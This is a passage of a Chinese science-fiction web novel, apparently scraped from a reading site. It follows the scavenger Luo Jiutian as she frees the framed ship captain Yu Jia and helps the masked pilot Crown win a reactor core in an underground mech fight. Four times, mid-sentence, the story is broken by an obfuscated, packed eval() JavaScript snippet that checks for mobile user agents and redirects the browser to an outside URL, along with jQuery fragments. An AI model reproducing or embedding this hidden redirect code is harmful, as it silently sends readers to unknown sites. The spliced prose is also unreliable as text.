“我还以为电到巨蒙鼠了。”洛九天吸了吸鼻子,从阴影里走了出来,手里捏着一把锋利的匕首。 她走到布鲁诺面前蹲下,匕首贴着他的头皮插进土里:“怎么又是你?不是告诉你别动我的房子吗?为什么不听话,我看上去很好欺负吗?” 布鲁诺脸色煞白,用力地呼吸着,胸腔剧烈起伏。他哆嗦着嘴唇想说什么,却只能发出一点呜咽的声音,整个人在地上扭动,想要远离匕首的锋刃。 洛九天拔起匕首,在他头顶那两条刀疤上比划:“如果你不怕头顶再多两道刀疤,就不要惹我,听见没有?” 薄薄的刀刃几乎要嵌入裸露的头皮,冰凉尖锐的感觉刺激着布鲁诺的神经,他撇开脑袋想躲,余光却看见那把军用匕首,眼里的怨恶瞬间被击溃,恐惧从眼底蔓延出来。 布鲁诺低哑着喉咙应了两声,和几个手下同伙连滚带爬地消失在夜色里。 等人一走,洛九天把捡来的垃圾拖回了家。一直等进到集装箱,关上了门,她才收起那副凶神恶煞的表情,轻轻地吐出一口气。 其实吓唬人也没什么好玩的,希望那些人长点记性,这样她也不用一天到晚提心吊胆。 想到这里,洛九天决定找点解压的事情做,平复一下心情。于是她打开流星灯,拖着捡来的人形机器人,坐在地上,摸出工具开始进行肢解拆分。 很快,胳膊和腿散落了一地。 角落里的清洁机器人微微转动了脑袋,盯着洛九天的动作看了一会儿,面板上的表情变成了Σ(O_O),似乎受到了惊吓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880961|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 它的表情一出现,又立马熄屏。 片刻过后,清洁机器人的面板又亮起,变成了一张和平的微笑脸。 ^_^ “检测到大量病菌,开始日常清洁。” 洛九天拆得正入迷,被清洁机器人这突如其来的声音吓了一跳,她转头看过去,就见那个雪人一样的机器人,正在屋里进行清洁工作,十分用心,每一个角落都不放过,好像生怕自己不干活就被拆了一样。 “……”洛九天忽然感觉自己好像被当成变`态了。 “杀手,垃圾分类的工作会不会?”洛九天叫住它。 “……会。”杀手卡了一下壳,应了一声。 “那你待会杀完菌,帮我把那一口袋的垃圾分门别类摆好,就放在墙边吧,螺丝钉铆钉放抽屉里。” “……好的。” 清润中带着一点懵懂的正太音,让洛九天感觉自己在雇佣童工,她问:“你还有别的语音模式吗?有没有冷酷杀手音?” “……没有。” 洛九天:“咦,我给你检查的时候,明明看到里面有语音选择模组,难道没激活成功?你过来我把你脑壳拆开看看。” 清洁机器人没有动,过了片刻:“没有检索到冷酷杀手音,可以选择切换清冷女声、清冷男声。” “行吧,清冷男声就清冷男声。”洛九天也不嫌弃。 清洁机器人的面板熄屏了一瞬,又重新亮起:“语音系统已切换为清冷男声。” 声音清澈,入耳像冰镇可乐碰撞着她的保温杯,洛九天抿了抿干裂的嘴唇,眼睛微眯:“叫声主人来听听。” “……”清洁机器人没有回应。 洛九天疑惑地拍了拍它的脑袋,不应该啊,虽然清洁机器人的智能拟人系统不会很先进,但是日常对话肯定没问题。 难道是杀手的配置比较高级,产生了自我性格?她想着,伸手摸到工具,打算拆开脑壳,看看里面的智能芯片。 还没来得及动手,清洁机器人就喊了一句:“……主人。” 哦,原来是反应慢啊,看来这个换上去的垃圾处理器果然还是不行。 她转头看向性`爱机器人,在那一堆七零八落的残肢断体里面翻了翻,找出来一个完好的处理器。 人形机器人的功能更全面,与人的互动更多,所以数据处理器的配置比清洁机器人高了好几个档次。 她吹了一下上面的灰尘:“来,我给你换个处理器,你那个太慢了。” “……”清洁机器人没有说话,甚至往后退了两步。 洛九天瞪着它,好言相劝:“你放心,只是一个处理器而已,不会影响你的数据,你也不会继承那些乱七八糟的模式和功能的。” 她说完,拉住清洁机器人的胳膊,将它拽过来,关机,换处理器,开机,一气呵成。 “现在还卡吗?”洛九天盯着面板,瞳孔发亮。 “不卡。”清洁机器人·清冷男声·杀手的脸上露出一个:)颜表情,笑得有点勉强。 15. 接住 第二天一早,洛九天就拎着一包用不上的材料,去摆摊价卖废品。 没想到麦西也在这里,和几个摊主聊得正起劲。 他说得唾沫横飞,眼里冒光,路过的人都竖着耳朵凑过去听。 “你们昨晚上听到枪声没有?听说有个不知道从哪里冒出来的小伙,一个人闯了巨蒙鼠的老窝,屠了七八只巨蒙鼠,今天有人去看了,每一只都开膛破肚,好恶心,噫……” “没听到,不过我听我兄弟说,今早上四点半的时候,他捡完垃圾回去路上,碰到一个人,全身都是血,我兄弟差点被吓尿了。” “嗐,你就听你兄弟吹吧,哪有那么多血,人家今早上还搭飞船回卡培星城了呢。” “你咋知道?” “我朋友发信息跟我说的,而且他还跟我说啊……” 听到这里,洛九天心里咯噔了一下,这个夜闯巨蒙鼠老窝,屠了七八只还开膛破肚的人,不会就是那个黑衣人吧? 原来他是回来找光脑的? 正想着,忽然听见正说话的那个摊主口中,冒出来一个熟悉的名字。 “……那个开运输飞船的尤珈,刚才一下船就被扣下了——” 就见麦西从地上窜起来,吼了一声:“你说什么!” 洛九天挤进去:“你说什么?” 麦西听见她的声音,缓了缓神,回过头来打招呼:“嘿,小丫头你也在这。哎我不和你说了,我得找尤里去。” “麦西大叔,我听你们说尤珈被扣下了?”洛九天有点着急,难道是打晕黑衣人的事,把尤珈给牵扯进来了? 麦西恼火地挠着头:“他说昨晚上,垃圾分类中心的中央能源系统熄火,导致整个分类流水线都瘫痪了,排查了一晚上,是因为有个原本应该换新的动力源,没有进行更换,分类中心的管理人员说,是被尤珈给偷运走了,要她交出来。” 原来和黑衣人没有关系,洛九天听完愣了一下——他们说尤珈偷了垃圾分类中心的东西? 她见过尤珈穿旧驾驶服的样子,这个红发的飞船船长,捡到一瓶外星产的话梅糖就觉得赚了,怎么会偷动力源那么贵的东西。 “哎以后这垃圾运输飞船是不是坐不上了?真倒霉。”有人叹气。 麦西吐了一口唾沫:“呸,你就惦记着省那么点船票钱,现在尤珈出事了,尤里不知道多着急,也没见你担心。”说完,他背着手扭头走了。 有人接茬:“就是,没准尤珈是被冤枉的,查清楚就放出来了。” 那个叹气的人“哎”了一声:“你们是一点不了解垃圾分类中心那群黑心烂肺的东西吗?” 人群中喧喧嚷嚷,清晨的阳光越过垃圾山洒过来,就像昨夜尤珈为她开的灯。 阳光照在垃圾表面上,一块块的锈迹和霉菌犹如皮癣,蒸腾出微不可见的孢子。孢子飘散在空气里,就像一个个无声的炮弹,将她心中炸开。 洛九天从人群中退出来,看了下时间5:55分,用跑的,还来得及搭乘公用飞船去卡培星城。 公用飞船船票就是贵,短短距离,居然扣了她800星币,几乎是她捡垃圾赚来的全部家当。 快倒是挺快的,五分钟就到了卡培星城,可惜停泊站不在垃圾运输中心,洛九天下了船,还得往那边赶。 等她到了垃圾运输中心外面,天已经变蓝,阳光刺眼起来。 这里的摄像头并不比外面少,不过一回生二回熟,她也算来过好几次了,从原先的停机坪摸进去还算顺利。 她打算先打听消息,了解了解情况,说不定垃圾分类中心的工作人员查明了真相,就把尤珈放出来了。那样的话,她也不能太莽撞,反而给尤珈惹麻烦。 停机坪上,停放着尤珈那辆红漆脱皮的垃圾运输飞船,此时有两个人正打开后舱舱门,一人用仪器做检查,一人填写评估数据。 “嘿,你说,这飞船能抵多少钱?动力源起码500万星币,这辆飞船老是老了点,内部保养还不错,能卖500万不?” “差不多吧,不过垃圾分类中心这一天的损失,加起来也不低,啧啧,光这辆飞船怕是不够吧?听说那个开飞船的船长是垃圾星上来的,估计也没钱赔,怕不是要把自己卖去矿星打一辈子黑工还钱咯。” “可惜了,那女人长得挺漂亮的,身材又辣,还特别年轻,听说都不到十八岁。” 两个男人调笑着打趣,他们口中的可惜,似乎是可惜一件美丽的物品,没有落到自己的手里。 洛九天没有继续听下去,偷偷溜到前面的驾驶舱,将尤珈挂在舱壁上的垃圾分类中心工作服取下来,套在自己身上。 尤珈的个子比较高挑,衣服穿在她身上,稍微有点大,洛九天紧了紧腰带,从侧面进了垃圾分类中心。如果尤珈真要面对这样的局面,她必须找到尤珈,当面了解清楚情况。 也许是因为中央能源系统熄火的原因,整个垃圾分类中心几乎完全停摆,备用应急电源开着,也无法恢复全部供能,一时间,所有工作人员都忙成了一团,机器人和维修工具车满地乱窜。 维修工具车是一种两轮的磁力车,前面是维修人员的座椅,后排是一个大工具箱,此时正要进入大楼,而大楼的门口,安装了人脸识别。 洛九天一脸忙碌地在空地上搬运货物,趁着无人注意,等维修工具车行到视角盲区,她两步追了上去,坐进了工具箱里,顺手合上了箱门。 被维修工具车载着进了大楼,洛九天支起箱门缝,见外面没人,才麻溜从里面出来。 她不知道尤珈被关到了哪里,不过监控肯定知道。 洛九天随手从咖啡机上端了一杯咖啡,顺着门牌走到监控室的门前,伸手敲门。 她将工作帽压得很低,低下头时几乎看不见脸。 “什么事?”里面的工作人员毫无防备地打开了门。 先引入眼帘的是男人浑圆的啤酒肚,几乎撑破制服,有两缕腹毛从扣子缝隙伸出来。 ……不忍直视。 洛九天将咖啡递过去:“今天太忙了,前台那边让我给你们送咖啡过来。” 男人“哦”了一声,伸手来接,滚烫的咖啡直接泼向他面门。 他还没喊出声,电棍抵在他的肚子上,洛九天直接将档位推到了最顶端。 男人直挺挺往后面倒去,洛九天手疾眼快推了一把滑轮工作椅,将他接住,随即关闭了监控室的门,反拧上锁。 监控室并不是很大,一整块屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890877|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被分隔成许多小方块,她在一个角落看到了尤珈。 尤珈被关在一个昏暗的房间里。房间狭小,除了墙面上的信号屏蔽器,空荡荡没有任何陈设,倒是外墙的最顶上,有一个正在运行的排气扇,将外面的阳光剪得稀碎,漏进去些许微光。 借着这点微光,房间里的尤珈,往后退了几步,忽然间迎着墙冲过去,三步上墙,双手扒拉住排气扇下方的边缘。 她腾出一只手,从兜里摸出来什么东西,猛地扎向朝排气扇。 那面正在运行的排气扇被卡住,尤珈运力往外推,但排气扇纹丝不动。 洛九天盯着监控屏幕,快速找到摄像头的后台操控系统,将监控室和尤珈那间房间的监控数据清除并关掉,然后退出了监控室。 关着尤珈的房间比较偏僻,洛九天开着维修工具车,一路畅通无阻到了房间外墙。 她从维修工具车里掏出来一把工具,爬上车顶,一看卡住排风扇的东西,竟然是话梅糖的空瓶子——她有点想笑。 此时瓶子因为外力的作用,已经被压扁变形,快要支撑不住,洛九天马上动手拆卸排风扇。 她听见里面的人再次奔跑上墙,双手“啪”地一声扒住墙沿,正要往外撞击。 洛九天扔掉排风扇,一把接住了尤珈的手。 尤珈的脑袋从里面,看到洛九天,震惊地张大了嘴巴,她很快反应过来,借着洛九天拖拽的力,从墙洞里爬出来。 “快走!”尤珈从维修工具车上跳下来。 恰好这时,墙后面传来人说话的声音。 洛九天急中生智,一把将她塞进维修工具箱里,快速合上了箱盖,上车就走。 垃圾分类中心的安保管理并不是很严谨,进去尚有各种人脸识别把关,出去却没有遇到什么阻拦。 洛九天将维修工具车停在路边,松了一口气,将后面的箱盖打开。 尤珈的脸被憋得泛紫,她大口喘气,从箱子里翻出来:“我想了一万种可能,都没想到会是你,多谢。” “你也救过我,算扯平吧。你没有偷他们的动力源是不是?”洛九天问。 “没有,是设备管理处的处长,他以为旧的动力源不会坏,把新的卖给了打地下机甲赛的选手,结果出了事,所以把罪名扣在我身上。”尤珈神色复杂,语速不由加快:“他们未必不知道,只不过想借机吞下我的船——你先走吧,这不关你的事,咱们既然扯平了你犯不着继续冒险,快把这身傻兮兮的工作服脱掉。” 洛九天脱掉衣服问:“你要去哪里?” 尤珈打开光脑,一边走一边随口回答:“去地下机甲赛赛场,把动力源找回来。” “我跟你一起去。”洛九天跟上她的脚步,与她并肩。 “你去做什么?”尤珈叹了口气:“洛九天,你知道你的脸看上去有多像个中学生吗?” “我中学毕业了……而且我突然想起来,你昨晚上还救过我一次,咱们还没扯平。”洛九天探出手腕,展示自己几乎为零的休眠余额:“而且我已经没钱坐公用飞船回垃圾星了。” 尤珈停了下来:“我的账户被冻结了,没法给你转钱。” “所以——”洛九天歪了一下脑袋,示意尤珈带路。 16. 约定 在来到地下机甲赛赛场之前,洛九天没想到卡培星城还有这样的地方。 喷泉水池中间,停伫着一艘巨大的帆船,这是一家名叫迪恩的酒馆。地下机甲赛的赛场,就在水池的正下方。 从酒馆的甲板下到船舱,站在舱底的银白色地板上,地板自动感应,快速下沉,转眼间,洛九天在嘈杂的人声中,看到了机甲赛的火爆现场。 场地非常大,防护光幕把场地罩在其中,以免机甲战斗波及观众。一块巨大的屏幕悬挂在玻璃幕墙尖端,不停轮播着比赛的选手海报,其间夹杂着一些下注提醒或者机甲广告。 洛九天:“我以为卡培星城是一个……排除了一切垃圾、暴力和灰色产业的地方。” “塔纳托企业基本掌握了卡培星城的经济命脉,塔纳托企业的老板,现在卡培星城的城主霍尔茨,可是靠赌博发家的。”尤珈眨了眨眼睛:“包括这家酒馆。” 洛九天跟着尤珈,绕过比赛现场和观众席,往后台的方向走。 一个醉醺醺的男人迎面撞了过来。 胡子拉碴的男人抬起眼皮愣了一下,忽然张开酒气熏人的嘴嘟囔:“哟,这不是林德那个红头发的女儿吗?叫什么来着,又长漂亮了,你来找你爹地回家吗?怎么,你妈咪又生病了?” 尤珈一把将他推开,眼神剐过去像刀子:“关你屁事。” 说完,她也不看那人反应,拽住洛九天的胳膊离开人群,进了一间半开放式的休息室。 “你在这里呆着,我去找动力源,待会来和你汇合。”尤珈说完,转身要走。 洛九天:“动力源长什么样?我和你分头找,这样快一些。” 尤珈迟疑了一瞬,沉声叮嘱:“我只知道是一个叫奎恩的人,买走了垃圾分类中心的动力源,那是一块衔尾蛇反应芯,上面有衔尾蛇的图形标志,要是运气好还没来得及安装,应该在机甲师手里,要是运气不好安装到了机甲上……反正,如果你找到了,不要动手,等我过去,我会想办法把动力源弄出来。” 洛九天点点头,和尤珈在门口兵分两路。 后台很宽敞,有各种规格的休息室和机甲调整室,墙面上的屏幕播放着机甲比赛解说,有专业的主持人提醒观众下注,外场热火朝天的喊叫声传来,显得后台有些安静。 洛九天一边找动力源,一边摸清楚了比赛规则。 地下机甲赛分为娱乐赛和积分赛,娱乐赛使用一代机甲,只要拥有一代机甲就可以报名参加,因为参赛者众多,打起来无所顾忌,参与下注的人也多。 积分赛使用的是小巧贴身的外骨骼动力装甲。积分赛采用赛季制,每个星系的积分前三名都可以参加总决赛,决出冠亚季军,他们可以获得图里或者其他财团的赞助,由专业的机甲师设计专属三代机甲,成为新星代言人。 卡培星城的迪恩酒馆,就是菈梅星系唯一的积分赛选拔场地,所以很多临近星球的选手,也会选择来卡培星城参赛。不过现在正是总决赛时间,选拔赛场地没有选手,机甲调整室全都是打娱乐赛的一代机甲。 由于轻型机甲也有三到五米的高度,为了方便机甲进出,机甲调整室基本上是一个个高大的格子间,卷帘门卷至最顶端。洛九天挨着一个个看过去,发现这些机甲改装得十分夸张,攻击性能拉满,每一台都挺有个性,至于动力源,大部分机甲设计是将动力源隐藏在外甲下面的,她这样站外面看,能找到才怪。 “喂,你,哪里来的?”一个穿着管理人员制服的中年男人,指着洛九天问。 “……我?”洛九天硬着头皮回答:“我是奎恩新找的助理,来帮他修机甲的。不过我来得急,不知道奎恩在哪个房间,大哥能不能指个方向?” 管理人员用半信半疑的目光盯着洛九天:“就你?” 洛九天:“就我。” 管理人员不耐烦地挥手:“去去去,跑进来混吃混喝的小乞丐我见得多了,还没见过自称是机甲师的。” “……”洛九天挠了挠头发,有点发愁。正犹豫是赖着不走还是出去转一圈再进来,旁边格子间走出来一个人。 “小乞丐,你真是机甲师?”他戴着一张微笑脸小丑面具,亚麻色的头发像草一样干枯,穿着一代机甲的驾驶服,双手抱臂靠在墙上。 洛九天不明所以地看着他。 “能帮我修一下机甲吗?我可以告诉你奎恩的位置。”面具男的声线低柔,极具诱惑力。 洛九天走了过去,她想起,自己好像见过这个人,在卡培星城的电车上。 参赛者是可以自己招请随行机甲师的,管理人员嘴皮子磨了一下,没说什么,转身离开了这里。 洛九天径直走到他那台机甲面前,爬上A字梯,开始检查机体。她一爬上去,就忍不住皱紧了眉头。 这台机甲用料及其粗糙,使用过度,磨损严重,细细查看,简直是一种残忍。 面具男在下面说了一句:“所有能用的材料都在这里,不能完全修好没关系,下一场比赛能站起来参加就行。” 洛九天看着那堆二手材料,能修是能修,但得费点时间。她转过头无语地对面具男说:“你不会以为我能在你比赛前把这台机甲修好吧?” 自那张面具下发出来轻轻的笑声:“你不会以为我看不出来你很着急找奎恩吧?” “……”算你狠。 洛九天瞪了他一眼:“既然你看出来了,不如我们做个约定,你先告诉我他的位置,我先去找奎恩取点东西,回来帮你修机甲,不愿意的话我就去问别人。” 说完,她从A字梯上跳了下来。 “赛场很忌讳打听参赛者的机甲调整间,所以除了我,不会有人愿意告诉你。”面具男伸出一根手指指着自己。 这双手布满了细密的伤痕,伤口大小不一但方向一致向内,手腕缠着绷带。 应该是在驾驶机甲对战时,驾驶舱防护罩破裂,他依然没有放弃对机甲的操控导致的划伤。洛九天看了一眼,移开目光:“我实话告诉你吧,我不是机甲师。” 面具男笑出声:“我也实话告诉你吧,我不知道奎恩的机甲调整间在什么位置,但我看出来你真会修机甲。” 诡计多端,心眼上万。洛九天在心里暗骂了一句,瞪着那张微笑脸面具,想撕下来踩个稀巴烂。 她急着找奎恩,懒得再搭理这个人,捏紧拳头往外走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909730|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚走到门口,就听见后面的人说:“但我下一场要对战的对手,就是奎恩。如果你想取的东西在他的机甲上,或许我可以帮你。” 洛九天顿住,有些惊讶地看向走廊上挂着的屏幕,那里正在直播一场机甲对战,左侧有一排预告小字:下午3时,奎恩VS克劳恩。 “克劳恩。”洛九天回头,盯着那张小丑面具。 “机甲师。”克劳恩优雅地做了个“请”的姿势。 洛九天才知道,原来在娱乐赛赛场上,选手是有权可以拆下对方的零件并且不归还的。 “我要奎恩那台机甲上的衔尾蛇反应芯,完好的。”洛九天不假思索开口。 克劳恩后仰了些许,紧了紧手腕的绷带:“可以,不过这样的话,机甲光能走路还不行,我需要机甲手部关节更灵活一些。” 俩人说明要求吗洛九天还有些不放心:“我保证可以帮你修好机甲,你能保证帮我拿到衔尾蛇反应芯吗?” 克劳恩顿了一瞬:“我保证,如果赛场上拿不到,打完比赛我去帮你偷过来。” 达成一致约定,洛九天手脚麻利地开始修机甲。 机甲战损严重,但手里的材料有限,洛九天只能先将有材料的部分替换维修,没有的部分就先放着。 不需要什么创新思路,她动作很快,克劳恩在下面给她打下手。就在机甲的手部关节快要调整完毕的时候,洛九天心里一咯噔,不知道尤珈那边怎么样了!她会不会先找到了奎恩,提前下手?她没有光脑,没法和尤珈取得联系。 “怎么了?”克劳恩察觉到她动作的停顿。 洛九天正要说话,就听见不远处传来一阵喧哗声。 她连忙跑出去看,就见尤珈正提拎着一把折叠椅子,往一个干瘦的中年男人头上砸。 “尤珈!你居然敢打老子。”那个男人有一头浅灰色的头发,模样和尤珈有几分相似,但精神气完全不同,脸颊干瘪,眼神混沌布满血丝,像是几宿没睡。他被椅子砸中,踉跄了几步,还在往前面跑。 “你惊讶什么?我是第一次打你吗?”尤珈愤怒地像是一团火,要将那个干瘦的男人当柴火折断烧成灰。 眼看着周围围观的人越来越多,管理人员闻声赶了过来,洛九天心里着急,连忙跑出去,将尤珈拉进了机甲调整间。 尤珈看见洛九天,抿了抿嘴唇:“你先走吧,奎恩的机甲已经调整完毕,暂时没机会了,他三点有比赛,我等比赛结束再去试一次,你在这里呆久了会被盯上。” “你已经试过了?”洛九天问。 “要不是那个混蛋捣乱,我就到手了。”尤珈没好气地说:“三年前我就该打死他。” 旁边的克劳恩凑过来问:“你和林德有仇?” 尤珈脸上露出一丝自嘲的笑:“算是有吧。这种抛家弃子,为了赌博差点卖女儿的烂人,和他有仇很奇怪吗?” 克劳恩摸了摸面具:“不奇怪,不过你应该不用再试一次了。” 尤珈疑惑地看着克劳恩,又看向洛九天。 洛九天把之前的约定和尤珈说了一遍,眨了眨眼睛:“机甲我快修好了,尤珈你就等着看吧。” 17. 抢夺 克劳恩操控的是一台轻型机甲,有着星空蓝偏紫色的涂层,虽然外甲剐蹭严重,有大片烧黑的痕迹,但还是能看清上面喷绘的红绿色菱形花纹。 这台机甲的动力源,是一代机甲常用的多纳尔能量晶卡。经过改装,动力系统上插了整整一排晶卡,组成一个能量方堆,看晶卡纯度,比莫莉那台探矿机甲使用的要好一些。 洛九天修理完毕,又调试了关节性能,满头大汗地从A字梯上下来。 2:55,距离比赛开始还有5分钟,赛场外再次热了起来。躁动的人群不时发出尖叫和呐喊。赌局已经开始下注,买奎恩赢的人占了大多数,甚至有人赌克劳恩那台机甲根本上不了场。 洛九天搓了搓手:“咱们要下注吗?” 尤珈一口拒绝:“不要。” 克劳恩轻轻摇头:“没钱。” 尤珈有些疑惑:“我看过你的战绩,胜率89%,已经很高了,怎么会没钱?” “都用来买零件修机甲了。”克劳恩伸手摸了摸机甲的外壳。 这倒是,机甲修理和零件更换都很费钱的,看得出来克劳恩是真的穷。洛九天忽然觉得自己可以来这里做兼职机甲修理工,一边修一边学习练手。 尤珈:“……那他们为什么赌你不能上场?” “上一场比赛机甲受损严重,我没钱请机甲师,所以……要不是遇见你们,我可能会被赛场罚款30万星币,禁赛一个月。”克劳恩穿着驾驶服,将手腕上的绷带松懈下来,活动了一下手部关节,钻进了驾驶舱。 一台白色的重型机甲路过,扭头看了克劳恩一眼,头顶的天线合上又张开。大屏幕上的直播,链接进奎恩的驾驶舱,放大他的表情。 洛九天解读:“他鄙视你。” 尤珈翻译:“他觉得你是菜鸡。” 克劳恩:“……” 一直到比赛开始前最后一秒,克劳恩才驾驶着机甲进入赛场。洛九天总算明白,为什么胜率如此之高的克劳恩,居然存不下一点钱。 由于比赛场地限制,不允许使用杀伤力能洞穿防护光幕的武器,尽管如此,奎恩的重型机甲看上去杀伤力也很大,肩部加装了四枚光束炮,手上握着一把等离子巨刀,腰侧还挂着两柄电熔斧头。 而克劳恩这边,他的机甲一手握枪,一手拿匕首,显得十分寒碜。 比赛开始,克劳恩靠着风骚走位不断逼近奎恩,但一次次被那柄等离子巨刀挡在外面。 奎恩的机甲第一次使用衔尾蛇反应芯,动能大大加强,他用得顺手,完全没考虑节约能源,打起来无所顾忌。 克劳恩在赛场上像风筝一样游走,让奎恩摸不着边,有时候还能反手给奎恩一枪。 他的手枪杀伤力不是很大,落在重型机甲上不疼不痒,有时候奎恩都懒得躲避。 就在奎恩松懈的时候,克劳恩的手枪一发子弹集中重型机甲的右边腿部关节。 洛九天能看出来,关节受损,不堪重负,重型机甲朝着右边偏斜,上半身微微向右塌沉了一点,动作出现偏移。 下一秒克劳恩改变游走的策略,不断往奎恩那台机甲上贴近。巨刀挥砍过来,总是慢了一步,克劳恩的匕首撬开了重型机甲的胸甲外壳。 奎恩连忙反手回挡,机甲肩上的光束炮一齐发射,随后抽出两柄电熔斧头,往克劳恩的机甲腿上砍。 克劳恩完全避无可避,就在大家都以为这条腿要被电熔斧头砍断的时候,机甲腿底下忽然冒出来一个弹簧一样的装置,将他弹射到半空。 就像小丑玩具从盒子里弹出来一样出其不意。 电熔斧头砍了个空。 弹簧以迅雷不及掩耳之势回缩,克劳恩落回地面的一瞬,迅速出手,顶着光束炮的压力,直掏对面机甲的动力系统。 之前因为风筝打法感到无聊的观众,重新热烈起来,仿佛这才是克劳恩的一贯打法。 洛九天眼睁睁看着,自己刚刚修好的机甲上被光束炮戳得稀烂,就连才换上去的驾驶舱防护罩,都再次破裂。 终于,在克劳恩的机甲解体之前,他操控机甲右手,掏出了对面的机甲动力源。 线管自内部扯断,还闪着电火花,失去动力源的重型机甲,整个动力系统瘫痪熄火,无力地垂下了手臂。 赛场传来奎恩的怒骂声,与此同时,裁判的电子音传来:克劳恩胜,是否归还战利品,如选择不归还,酒馆将为你担保作证,当然,本场胜利奖金将减少一半。” 克劳恩驾驶着机甲,将衔尾蛇反应芯带出了赛场,机甲调整室走。可惜机甲受损实在是太过严重,一路走一路掉零件。 洛九天和尤珈跟在后面,把零件捡起来,抱回调整室。 一进门,洛九天就手疾眼快地关上了调整室的卷帘门。与此同时,克劳恩的机甲轰然瘫倒在地。 过了好一会儿,克劳恩才从机甲里爬出来,他的头发被血打湿,血顺着面具往下滴,手指缝间淌着血,落在了地板上。 “喂,你要的东西,我给你弄来了,不过我的机甲又坏了……”克劳恩用左手握住了右手,抑制住双手轻微的颤抖。 “这个好办,我再给你修就是了。”洛九天取下机甲手里的衔尾蛇反应芯,检查了一下,递给尤珈,有些不忍心地看着克劳恩身上的伤:“不过你打起来也太不要命了……” 克劳恩身形摇晃了一下:“是啊是啊,我血流得有点多,身上又没钱,可能需要一笔医疗费……” 尤珈愣了一下,伸手接过来:“谢谢你们……你的医疗费我会出的。” 一直停放在角落的医疗机器人,忽然苏醒过来,快速上前替他止血包扎。 洛九天凑上去观察了一下,发现是赛场为参赛者免费准备的医疗机器人,每个机甲调整室应该都有一台,能处理大部分的外伤。克劳恩很显然已经用惯了这台机器人,止血的过程十分配合。 “……你不是可以免费医疗吗?”洛九天盯着他,之前看他被打得那么惨,差点忘了这个人无利不起早,心眼忒多。 自克劳恩的面具下,传出一声轻笑,他耸了耸肩:“好吧,给点营养费也可以。” 洛九天:“尤珈现在也很穷的,她的光脑支付系统被冻结了。” “哦?”克劳恩的头发因为止血喷雾的原因,湿漉漉地垂下来:“你们惹了城政府的人?” 没有卡培星城居住资格的人,一旦在卡培星城犯了事,城政府有权申请冻结犯事者的光脑支付系统,用以赔偿城政府的损失。 尤珈没打算隐瞒:“垃圾分类中心丢了一块动力源,污蔑是我偷的,要我赔偿。” “就是奎恩新换上的衔尾蛇反应芯?”克劳恩立即反应过来:“你们打算夺回反应芯,以证自己的清白?” 洛九天看向尤珈,她还没有想过后续要怎么处理。 尤珈摇头:“当然不,直接还回去岂不是太便宜那些混蛋了,等于让他们赚两次。我打算卖给他们,钱我们平分。” 她转头看向克劳恩,挑眉:“也分你一份,当营养费。” 克劳恩立马会意,散漫地举起被包扎成猪蹄的手:“需要我做什么?” 尤珈眯着眼睛弯了弯唇,像一只红毛狐狸。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919749|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小时后,克劳恩出现在垃圾分类中心的墙内。 此时,垃圾分类中心的站长,正因为尤珈的失踪而大发雷霆。设备管理处的处长程涛和几个同事一起挨完训,抹了一把脸上的口水,独自往自己的办公室走去。 他刚进办公室,就被人从后面捂住了嘴巴,一根电棍抵在腰上:“不许动。” 程涛含糊不清地呜呜了两声,从喉咙深处憋出来一句:“别、别开枪。” “你要是嚷嚷,我现在就送你上路。”戴着小丑面具的克劳恩,一张脸豁然出现。 程涛被吓得双腿发软,却不敢大声说话:“面具,你你你……是你!” “既然你知道我,就该知道我在为谁做事。”被人认出来,克劳恩却没有慌乱。 克劳恩将人捆起来,他坐在工作椅上,手臂杵住扶手,长腿一蹬,椅子往后滑动:“奎恩那块废材一样的衔尾蛇反应芯,就是从你这里买的吧?” “……”程涛下意识摇头,极力否认。 “哎?”克劳恩把玩着手里的衔尾蛇反应芯:“这上面的编号,和垃圾分类中心进货的那一块,完全对得上。你不说实话,让我很难办啊。老板可是吩咐过我,要把这块反应芯,退还到你手上,我可是费了很多功夫,才从奎恩那里夺过来,哦我忘了,你今天可能没空看比赛。” 程涛问:“你的老板是谁?不是奎恩吗?” 克劳恩笑了一下,意味不明地说:“迪恩酒馆只有一个老板。” 